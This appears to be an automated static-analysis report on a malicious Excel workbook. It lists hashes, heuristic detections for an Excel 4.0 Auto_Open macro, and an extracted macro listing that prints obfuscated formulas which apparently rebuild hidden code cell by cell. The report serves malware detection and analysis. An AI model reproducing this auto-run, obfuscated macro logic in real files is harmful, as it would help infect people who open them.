Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 49863f6c4e111eb5…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-25 10:24:38 Authoring application: Microsoft Excel First seen: 2020-12-25
MD5: 269980dabb60d3d477fee4638ee572f2 SHA-1: ed0be9d7bd49abc2abcae89528b6f1ff7deda9bb SHA-256: 49863f6c4e111eb53e83ebaacc846e139b0c02456688d0c21db25eb51df7e5d8
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6450 bytes
SHA-256: a435497b5c2d3a049c45accfdf233b27073dfab987657f089f79bc95c5581177
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     13 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  izbb
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!F161 
' 0018     26 LABEL : Cell Value, String Constant - bogUZyouLHQ len=0 
' 0018     21 LABEL : Cell Value, String Constant - boZkfI len=0 
' 0018     20 LABEL : Cell Value, String Constant - cbBFG len=0 
' 0018     22 LABEL : Cell Value, String Constant - dtSJhtI len=0 
' 0018     23 LABEL : Cell Value, String Constant - fpUWLdao len=0 
' 0018     25 LABEL : Cell Value, String Constant - gddqPOdiPT len=0 
' 0018     25 LABEL : Cell Value, String Constant - gSRSqhWovl len=0 
' 0018     25 LABEL : Cell Value, String Constant - JQAoCwwTIh len=0 
' 0018     24 LABEL : Cell Value, String Constant - JWHgHEERO len=0 
' 0018     20 LABEL : Cell Value, String Constant - mgNek len=0 
' 0018     27 LABEL : Cell Value, String Constant - oVsCzHbPDtFr len=0 
' 0018     27 LABEL : Cell Value, String Constant - PaseNiUwnQKK len=0 
' 0018     25 LABEL : Cell Value, String Constant - PIcaLtiFSi len=0 
' 0018     27 LABEL : Cell Value, String Constant - pnljYFpGIvyn len=0 
' 0018     20 LABEL : Cell Value, String Constant - UQqlZ len=0 
' 0018     20 LABEL : Cell Value, String Constant - UXlmH len=0 
' 0018     25 LABEL : Cell Value, String Constant - VGxVucQrdG len=0 
' 0018     22 LABEL : Cell Value, String Constant - WMuNCgB len=0 
' 0018     23 LABEL : Cell Value, String Constant - yJIuHfSK len=0 
' 0018     20 LABEL : Cell Value, String Constant - ylBWT len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  izbb,F75,"SET.NAME("oVsCzHbPDtFr",VALUE("0"))",""
'  izbb,F80,"SET.NAME("WMuNCgB",oVsCzHbPDtFr)",""
'  izbb,F85,"SET.NAME("gSRSqhWovl",oVsCzHbPDtFr)",""
'  izbb,F87,"SET.NAME("pnljYFpGIvyn",COUNTA(UXlmH))",""
'  izbb,F89,"SET.NAME("JWHgHEERO",COUNTA(JQAoCwwTIh))",""
'  izbb,F93,[],""
'  izbb,F97,"SET.NAME("mgNek","")",""
'  izbb,F101,"WMuNCgB",""
'  izbb,F103,"SET.NAME("bogUZyouLHQ",HLOOKUP("*",UXlmH,WMuNCgB,FALSE))",""
'  izbb,F106,"yJIuHfSK",""
'  izbb,F109,"SET.NAME("UQqlZ",oVsCzHbPDtFr)",""
'  izbb,F112,[],""
'  izbb,F117,"UQqlZ",""
'  izbb,F120,"gddqPOdiPT",""
'  izbb,F122,"VGxVucQrdG",""
'  izbb,F125,"fpUWLdao",""
'  izbb,F127,"SET.NAME("cbBFG",VALUE(HLOOKUP("*",JQAoCwwTIh,fpUWLdao,FALSE)))",""
'  izbb,F132,"PaseNiUwnQKK",""
'  izbb,F135,"mgNek",""
'  izbb,F138,"gSRSqhWovl",""
'  izbb,F140,NEXT(),""
'  izbb,F144,"boZkfI",""
'  izbb,F146,"SET.NAME("f",INT(T(FORMULA(T(mgNek)&"",""&T(boZkfI)))))",""
'  izbb,F148,"ylBWT",""
'  izbb,F153,NEXT(),""
'  izbb,F158,RETURN(),""
'  izbb,F190,"SET.NAME("PIcaLtiFSi",F75)",""
'  izbb,F195,"UXlmH",""
'  izbb,F199,"SET.NAME("JQAoCwwTIh",R48C11)",""
'  izbb,F203,"SET.NAME("ylBWT",211)",""
'  izbb,F207,"SET.NAME("dtSJhtI",6)",""
'  izbb,F210,PIcaLtiFSi(),""
'  izbb,F211,HALT(),""

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